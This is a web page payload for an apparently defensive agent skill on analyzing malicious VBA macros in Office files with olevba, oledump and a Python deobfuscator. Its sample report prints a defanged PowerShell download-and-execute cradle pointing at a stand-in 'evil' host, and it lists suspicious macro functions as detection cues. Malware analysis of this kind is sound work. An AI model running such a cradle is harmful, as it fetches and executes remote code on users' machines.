[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B4RGKM6MYRBAY1H3BNP9N3":3,"skill-same:01M7B4RGKM6MYRBAY1H3BNP9N3":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":13,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":59,"install":60,"resources":73},"01M7B4RGKM6MYRBAY1H3BNP9N3","analyzing-macro-malware-in-office-documents",null,"Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: analyzing-macro-malware-in-office-documents\ndescription: 'Analyzes malicious VBA macros embedded in Microsoft Office documents\n  (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence\n  mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation\n  to extract the attack chain. Activates for requests involving Office macro analysis,\n  VBA malware investigation, maldoc analysis, or document-based threat examination.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- macro\n- Office\n- VBA\n- document-malware\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0068\n- AML.T0067\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Identifier Analysis\n- Content Format Conversion\n- Message Analysis\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1137.001\n- T1204.002\n- T1059.005\n- T1027\n---\n\n# Analyzing Macro Malware in Office Documents\n\n## When to Use\n\n- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security\n- Investigating phishing campaigns that deliver weaponized Office documents\n- Extracting VBA macro code to identify the payload download URL and execution method\n- Analyzing obfuscated VBA code to understand the full attack chain\n- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros\n\n**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.\n\n## Prerequisites\n\n- Python 3.8+ with oletools installed (`pip install oletools`)\n- oledump.py from Didier Stevens (https:\u002F\u002Fblog.didierstevens.com\u002Fprograms\u002Foledump-py\u002F)\n- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)\n- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)\n- LibreOffice for safe document rendering (does not execute VBA macros by default)\n\n## Workflow\n\n### Step 1: Initial Document Triage\n\nDetermine if the document contains macros or other active content:\n\n```bash\n# Quick triage with olevba\nolevba suspect.docm\n\n# Check for OLE streams and macros\noleid suspect.docm\n\n# Output indicators:\n# VBA Macros:        True\u002FFalse\n# XLM Macros:        True\u002FFalse\n# External Relationships: True\u002FFalse (remote template)\n# ObjectPool:        True\u002FFalse (embedded objects)\n# Flash:             True\u002FFalse (SWF objects)\n\n# Comprehensive OLE analysis\noledump.py suspect.docm\n\n# List all OLE streams with macro indicators\n# Streams marked with 'M' contain VBA macros\n# Streams marked with 'm' contain macro attributes\n```\n\n### Step 2: Extract and Analyze VBA Code\n\nPull out the complete VBA macro source:\n\n```bash\n# Extract VBA with full deobfuscation\nolevba --decode --deobf suspect.docm\n\n# Extract just the VBA source code\nolevba --code suspect.docm > extracted_vba.txt\n\n# Detailed extraction with oledump\noledump.py -s 8 -v suspect.docm  # Stream 8 (adjust based on stream listing)\n\n# Extract all macro streams\noledump.py -p plugin_vba_dco suspect.docm\n```\n\n```\nKey VBA Elements to Identify:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━\nAuto-Execution Triggers:\n  - Auto_Open \u002F AutoOpen (Word)\n  - Auto_Close \u002F AutoClose\n  - Document_Open \u002F Document_Close\n  - Workbook_Open (Excel)\n  - AutoExec\n\nSuspicious Functions:\n  - Shell() \u002F Shell.Application\n  - WScript.Shell.Run \u002F Exec\n  - CreateObject(\"WScript.Shell\")\n  - PowerShell execution\n  - URLDownloadToFile\n  - MSXML2.XMLHTTP (HTTP requests)\n  - ADODB.Stream (file writing)\n  - Environ() (environment variables)\n  - CallByName (indirect method calls)\n```\n\n### Step 3: Deobfuscate VBA Code\n\nRemove obfuscation layers to reveal the payload:\n\n```python\n# VBA deobfuscation techniques\nimport re\n\ndef deobfuscate_vba(code):\n    # 1. Resolve Chr() calls: Chr(104) & Chr(116) -> \"ht\"\n    def resolve_chr(match):\n        try:\n            return chr(int(match.group(1)))\n        except:\n            return match.group(0)\n    code = re.sub(r'Chr\\$?\\((\\d+)\\)', resolve_chr, code)\n\n    # 2. Remove string concatenation: \"htt\" & \"p:\u002F\u002F\" -> \"http:\u002F\u002F\"\n    code = re.sub(r'\"\\s*&\\s*\"', '', code)\n\n    # 3. Resolve ChrW calls: ChrW(104)\n    code = re.sub(r'ChrW\\$?\\((\\d+)\\)', resolve_chr, code)\n\n    # 4. Resolve StrReverse: StrReverse(\"exe.daolnwod\") -> \"download.exe\"\n    def resolve_reverse(match):\n        return '\"' + match.group(1)[::-1] + '\"'\n    code = re.sub(r'StrReverse\\(\"([^\"]+)\"\\)', resolve_reverse, code)\n\n    # 5. Remove Mid$\u002FLeft$\u002FRight$ obfuscation (complex, mark for manual review)\n\n    # 6. Resolve Replace(): Replace(\"Powxershxell\", \"x\", \"\")\n    def resolve_replace(match):\n        original = match.group(1)\n        find = match.group(2)\n        replace_with = match.group(3)\n        return '\"' + original.replace(find, replace_with) + '\"'\n    code = re.sub(r'Replace\\(\"([^\"]+)\",\\s*\"([^\"]+)\",\\s*\"([^\"]*)\"\\)', resolve_replace, code)\n\n    return code\n\nwith open(\"extracted_vba.txt\") as f:\n    vba_code = f.read()\n\ndeobfuscated = deobfuscate_vba(vba_code)\nprint(deobfuscated)\n```\n\n### Step 4: Analyze Excel 4.0 (XLM) Macros\n\nHandle legacy Excel macros that bypass VBA detection:\n\n```bash\n# Detect XLM macros\nolevba --xlm suspect.xlsm\n\n# Deobfuscate XLM macros\nxlmdeobfuscator -f suspect.xlsm\n\n# Manual XLM analysis with oledump\noledump.py suspect.xlsm -p plugin_biff.py\n\n# XLM (Excel 4.0) macro functions to watch for:\n# EXEC()       - Execute shell command\n# CALL()       - Call DLL function\n# REGISTER()   - Register DLL function\n# URLDownloadToFileA - Download file\n# ALERT()      - Display message (social engineering)\n# HALT()       - Stop execution\n# GOTO()       - Control flow\n# IF()         - Conditional execution\n```\n\n### Step 5: Check for Non-Macro Attack Vectors\n\nExamine the document for DDE, remote templates, and embedded objects:\n\n```bash\n# Check for DDE (Dynamic Data Exchange)\npython3 -c \"\nimport zipfile\nimport xml.etree.ElementTree as ET\nimport re\n\nz = zipfile.ZipFile('suspect.docx')\nfor name in z.namelist():\n    if name.endswith('.xml') or name.endswith('.rels'):\n        content = z.read(name).decode('utf-8', errors='ignore')\n        # DDE field codes\n        if 'DDEAUTO' in content or 'DDE ' in content:\n            print(f'[!] DDE found in {name}')\n            dde_match = re.findall(r'DDEAUTO[^\\\"]*\\\"([^\\\"]+)\\\"', content)\n            for m in dde_match:\n                print(f'    Command: {m}')\n        # Remote template\n        if 'attachedTemplate' in content or 'Target=' in content:\n            urls = re.findall(r'Target=\\\"(https?:\u002F\u002F[^\\\"]+)\\\"', content)\n            for url in urls:\n                print(f'[!] Remote template URL: {url}')\n\"\n\n# Check for embedded OLE objects\noledump.py -p plugin_msg.py suspect.docm\n\n# Check relationships for external references\npython3 -c \"\nimport zipfile\nz = zipfile.ZipFile('suspect.docx')\nfor name in z.namelist():\n    if '.rels' in name:\n        content = z.read(name).decode('utf-8', errors='ignore')\n        if 'http' in content.lower() or 'ftp' in content.lower():\n            print(f'External reference in {name}:')\n            import re\n            urls = re.findall(r'Target=\\\"([^\\\"]+)\\\"', content)\n            for url in urls:\n                print(f'  {url}')\n\"\n```\n\n### Step 6: Generate Analysis Report\n\nDocument the complete macro malware analysis:\n\n```\nReport should include:\n- Document metadata (author, creation date, modification date)\n- Macro presence and type (VBA, XLM, DDE, remote template)\n- Auto-execution trigger identified\n- Deobfuscated VBA source code (key functions)\n- Download URL(s) for second-stage payloads\n- Execution method (Shell, WScript, PowerShell, COM object)\n- Social engineering lure description\n- Extracted IOCs (URLs, domains, IPs, file hashes)\n- YARA rule for the specific document pattern\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |\n| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |\n| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |\n| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |\n| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |\n| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |\n| **Protected View** | Office sandbox that prevents macro execution until the user clicks \"Enable Content\"; social engineering targets this barrier |\n\n## Tools & Systems\n\n- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs\n- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction\n- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas\n- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior\n- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators\n\n## Common Scenarios\n\n### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros\n\n**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to \"Enable Content\" to view the full document.\n\n**Approach**:\n1. Run oleid to confirm VBA macros are present and identify auto-execution triggers\n2. Extract VBA code with olevba --decode --deobf for initial deobfuscation\n3. Identify the auto-execution entry point (Auto_Open or Document_Open)\n4. Trace the execution flow from the entry point through helper functions\n5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL\n6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)\n7. Extract all IOCs and create YARA rules for the specific obfuscation pattern\n\n**Pitfalls**:\n- Opening the document in Microsoft Office for \"quick analysis\" instead of using command-line tools\n- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)\n- Ignoring document metadata that may contain attacker fingerprints (author name, template name)\n- Not checking for both VBA and XLM macros in the same document (some malware uses both)\n\n## Output Format\n\n```\nOFFICE MACRO MALWARE ANALYSIS\n================================\nDocument:         invoice_q3_2025.docm\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Type:        Microsoft Word Document (OOXML with macros)\nAuthor:           Administrator\nCreation Date:    2025-09-10 14:23:00\n\nMACRO ANALYSIS\nType:             VBA Macro\nTrigger:          AutoOpen()\nStreams:          3 VBA streams (ThisDocument, Module1, Module2)\n\nDEOBFUSCATED EXECUTION CHAIN\n1. AutoOpen() -> Calls Module1.RunPayload()\n2. RunPayload() builds command string via Chr() concatenation\n3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...\n4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1')\n\nSOCIAL ENGINEERING LURE\n- Document displays fake \"Protected Document\" image\n- Instructs user to \"Enable Content\" to view the document\n- Content is blurred\u002Fhidden until macros execute\n\nEXTRACTED IOCs\nDownload URL:     hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1\nC2 Domain:        evil[.]com\nIP Address:       185.220.101[.]42\nUser-Agent:       PowerShell (default WebClient)\n\nMITRE ATT&CK\nT1566.001  Phishing: Spearphishing Attachment\nT1204.002  User Execution: Malicious File\nT1059.001  Command and Scripting Interpreter: PowerShell\nT1059.005  Command and Scripting Interpreter: Visual Basic\n```\n","# Analyzing Macro Malware in Office Documents\n\n## When to Use\n\n- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security\n- Investigating phishing campaigns that deliver weaponized Office documents\n- Extracting VBA macro code to identify the payload download URL and execution method\n- Analyzing obfuscated VBA code to understand the full attack chain\n- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros\n\n**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.\n\n## Prerequisites\n\n- Python 3.8+ with oletools installed (`pip install oletools`)\n- oledump.py from Didier Stevens (https:\u002F\u002Fblog.didierstevens.com\u002Fprograms\u002Foledump-py\u002F)\n- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)\n- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)\n- LibreOffice for safe document rendering (does not execute VBA macros by default)\n\n## Workflow\n\n### Step 1: Initial Document Triage\n\nDetermine if the document contains macros or other active content:\n\n```bash\n# Quick triage with olevba\nolevba suspect.docm\n\n# Check for OLE streams and macros\noleid suspect.docm\n\n# Output indicators:\n# VBA Macros:        True\u002FFalse\n# XLM Macros:        True\u002FFalse\n# External Relationships: True\u002FFalse (remote template)\n# ObjectPool:        True\u002FFalse (embedded objects)\n# Flash:             True\u002FFalse (SWF objects)\n\n# Comprehensive OLE analysis\noledump.py suspect.docm\n\n# List all OLE streams with macro indicators\n# Streams marked with 'M' contain VBA macros\n# Streams marked with 'm' contain macro attributes\n```\n\n### Step 2: Extract and Analyze VBA Code\n\nPull out the complete VBA macro source:\n\n```bash\n# Extract VBA with full deobfuscation\nolevba --decode --deobf suspect.docm\n\n# Extract just the VBA source code\nolevba --code suspect.docm > extracted_vba.txt\n\n# Detailed extraction with oledump\noledump.py -s 8 -v suspect.docm  # Stream 8 (adjust based on stream listing)\n\n# Extract all macro streams\noledump.py -p plugin_vba_dco suspect.docm\n```\n\n```\nKey VBA Elements to Identify:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━\nAuto-Execution Triggers:\n  - Auto_Open \u002F AutoOpen (Word)\n  - Auto_Close \u002F AutoClose\n  - Document_Open \u002F Document_Close\n  - Workbook_Open (Excel)\n  - AutoExec\n\nSuspicious Functions:\n  - Shell() \u002F Shell.Application\n  - WScript.Shell.Run \u002F Exec\n  - CreateObject(\"WScript.Shell\")\n  - PowerShell execution\n  - URLDownloadToFile\n  - MSXML2.XMLHTTP (HTTP requests)\n  - ADODB.Stream (file writing)\n  - Environ() (environment variables)\n  - CallByName (indirect method calls)\n```\n\n### Step 3: Deobfuscate VBA Code\n\nRemove obfuscation layers to reveal the payload:\n\n```python\n# VBA deobfuscation techniques\nimport re\n\ndef deobfuscate_vba(code):\n    # 1. Resolve Chr() calls: Chr(104) & Chr(116) -> \"ht\"\n    def resolve_chr(match):\n        try:\n            return chr(int(match.group(1)))\n        except:\n            return match.group(0)\n    code = re.sub(r'Chr\\$?\\((\\d+)\\)', resolve_chr, code)\n\n    # 2. Remove string concatenation: \"htt\" & \"p:\u002F\u002F\" -> \"http:\u002F\u002F\"\n    code = re.sub(r'\"\\s*&\\s*\"', '', code)\n\n    # 3. Resolve ChrW calls: ChrW(104)\n    code = re.sub(r'ChrW\\$?\\((\\d+)\\)', resolve_chr, code)\n\n    # 4. Resolve StrReverse: StrReverse(\"exe.daolnwod\") -> \"download.exe\"\n    def resolve_reverse(match):\n        return '\"' + match.group(1)[::-1] + '\"'\n    code = re.sub(r'StrReverse\\(\"([^\"]+)\"\\)', resolve_reverse, code)\n\n    # 5. Remove Mid$\u002FLeft$\u002FRight$ obfuscation (complex, mark for manual review)\n\n    # 6. Resolve Replace(): Replace(\"Powxershxell\", \"x\", \"\")\n    def resolve_replace(match):\n        original = match.group(1)\n        find = match.group(2)\n        replace_with = match.group(3)\n        return '\"' + original.replace(find, replace_with) + '\"'\n    code = re.sub(r'Replace\\(\"([^\"]+)\",\\s*\"([^\"]+)\",\\s*\"([^\"]*)\"\\)', resolve_replace, code)\n\n    return code\n\nwith open(\"extracted_vba.txt\") as f:\n    vba_code = f.read()\n\ndeobfuscated = deobfuscate_vba(vba_code)\nprint(deobfuscated)\n```\n\n### Step 4: Analyze Excel 4.0 (XLM) Macros\n\nHandle legacy Excel macros that bypass VBA detection:\n\n```bash\n# Detect XLM macros\nolevba --xlm suspect.xlsm\n\n# Deobfuscate XLM macros\nxlmdeobfuscator -f suspect.xlsm\n\n# Manual XLM analysis with oledump\noledump.py suspect.xlsm -p plugin_biff.py\n\n# XLM (Excel 4.0) macro functions to watch for:\n# EXEC()       - Execute shell command\n# CALL()       - Call DLL function\n# REGISTER()   - Register DLL function\n# URLDownloadToFileA - Download file\n# ALERT()      - Display message (social engineering)\n# HALT()       - Stop execution\n# GOTO()       - Control flow\n# IF()         - Conditional execution\n```\n\n### Step 5: Check for Non-Macro Attack Vectors\n\nExamine the document for DDE, remote templates, and embedded objects:\n\n```bash\n# Check for DDE (Dynamic Data Exchange)\npython3 -c \"\nimport zipfile\nimport xml.etree.ElementTree as ET\nimport re\n\nz = zipfile.ZipFile('suspect.docx')\nfor name in z.namelist():\n    if name.endswith('.xml') or name.endswith('.rels'):\n        content = z.read(name).decode('utf-8', errors='ignore')\n        # DDE field codes\n        if 'DDEAUTO' in content or 'DDE ' in content:\n            print(f'[!] DDE found in {name}')\n            dde_match = re.findall(r'DDEAUTO[^\\\"]*\\\"([^\\\"]+)\\\"', content)\n            for m in dde_match:\n                print(f'    Command: {m}')\n        # Remote template\n        if 'attachedTemplate' in content or 'Target=' in content:\n            urls = re.findall(r'Target=\\\"(https?:\u002F\u002F[^\\\"]+)\\\"', content)\n            for url in urls:\n                print(f'[!] Remote template URL: {url}')\n\"\n\n# Check for embedded OLE objects\noledump.py -p plugin_msg.py suspect.docm\n\n# Check relationships for external references\npython3 -c \"\nimport zipfile\nz = zipfile.ZipFile('suspect.docx')\nfor name in z.namelist():\n    if '.rels' in name:\n        content = z.read(name).decode('utf-8', errors='ignore')\n        if 'http' in content.lower() or 'ftp' in content.lower():\n            print(f'External reference in {name}:')\n            import re\n            urls = re.findall(r'Target=\\\"([^\\\"]+)\\\"', content)\n            for url in urls:\n                print(f'  {url}')\n\"\n```\n\n### Step 6: Generate Analysis Report\n\nDocument the complete macro malware analysis:\n\n```\nReport should include:\n- Document metadata (author, creation date, modification date)\n- Macro presence and type (VBA, XLM, DDE, remote template)\n- Auto-execution trigger identified\n- Deobfuscated VBA source code (key functions)\n- Download URL(s) for second-stage payloads\n- Execution method (Shell, WScript, PowerShell, COM object)\n- Social engineering lure description\n- Extracted IOCs (URLs, domains, IPs, file hashes)\n- YARA rule for the specific document pattern\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |\n| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |\n| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |\n| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |\n| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |\n| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |\n| **Protected View** | Office sandbox that prevents macro execution until the user clicks \"Enable Content\"; social engineering targets this barrier |\n\n## Tools & Systems\n\n- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs\n- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction\n- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas\n- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior\n- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators\n\n## Common Scenarios\n\n### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros\n\n**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to \"Enable Content\" to view the full document.\n\n**Approach**:\n1. Run oleid to confirm VBA macros are present and identify auto-execution triggers\n2. Extract VBA code with olevba --decode --deobf for initial deobfuscation\n3. Identify the auto-execution entry point (Auto_Open or Document_Open)\n4. Trace the execution flow from the entry point through helper functions\n5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL\n6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)\n7. Extract all IOCs and create YARA rules for the specific obfuscation pattern\n\n**Pitfalls**:\n- Opening the document in Microsoft Office for \"quick analysis\" instead of using command-line tools\n- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)\n- Ignoring document metadata that may contain attacker fingerprints (author name, template name)\n- Not checking for both VBA and XLM macros in the same document (some malware uses both)\n\n## Output Format\n\n```\nOFFICE MACRO MALWARE ANALYSIS\n================================\nDocument:         invoice_q3_2025.docm\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Type:        Microsoft Word Document (OOXML with macros)\nAuthor:           Administrator\nCreation Date:    2025-09-10 14:23:00\n\nMACRO ANALYSIS\nType:             VBA Macro\nTrigger:          AutoOpen()\nStreams:          3 VBA streams (ThisDocument, Module1, Module2)\n\nDEOBFUSCATED EXECUTION CHAIN\n1. AutoOpen() -> Calls Module1.RunPayload()\n2. RunPayload() builds command string via Chr() concatenation\n3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...\n4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1')\n\nSOCIAL ENGINEERING LURE\n- Document displays fake \"Protected Document\" image\n- Instructs user to \"Enable Content\" to view the document\n- Content is blurred\u002Fhidden until macros execute\n\nEXTRACTED IOCs\nDownload URL:     hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1\nC2 Domain:        evil[.]com\nIP Address:       185.220.101[.]42\nUser-Agent:       PowerShell (default WebClient)\n\nMITRE ATT&CK\nT1566.001  Phishing: Spearphishing Attachment\nT1204.002  User Execution: Malicious File\nT1059.001  Command and Scripting Interpreter: PowerShell\nT1059.005  Command and Scripting Interpreter: Visual Basic\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":38,"description":39,"mitre_attack":40,"atlas_techniques":45,"d3fend_techniques":48},[25,26,27,28,29],"malware","macro","Office","VBA","document-malware","mahipal","cybersecurity","1.0.0",[34,35,36,37],"DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01","malware-analysis","Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.\n",[41,42,43,44],"T1137.001","T1204.002","T1059.005","T1027",[46,47],"AML.T0068","AML.T0067",[49,50,51,52,53],"File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill analyzing-macro-malware-in-office-documents",{"tool":66,"command":67},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill analyzing-macro-malware-in-office-documents",{"tool":69,"command":70},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill analyzing-macro-malware-in-office-documents","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",2985,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",8780,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fanalyzing-macro-malware-in-office-documents\u002Fscripts\u002Fagent.py",[91,99,106,113,120,127],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence 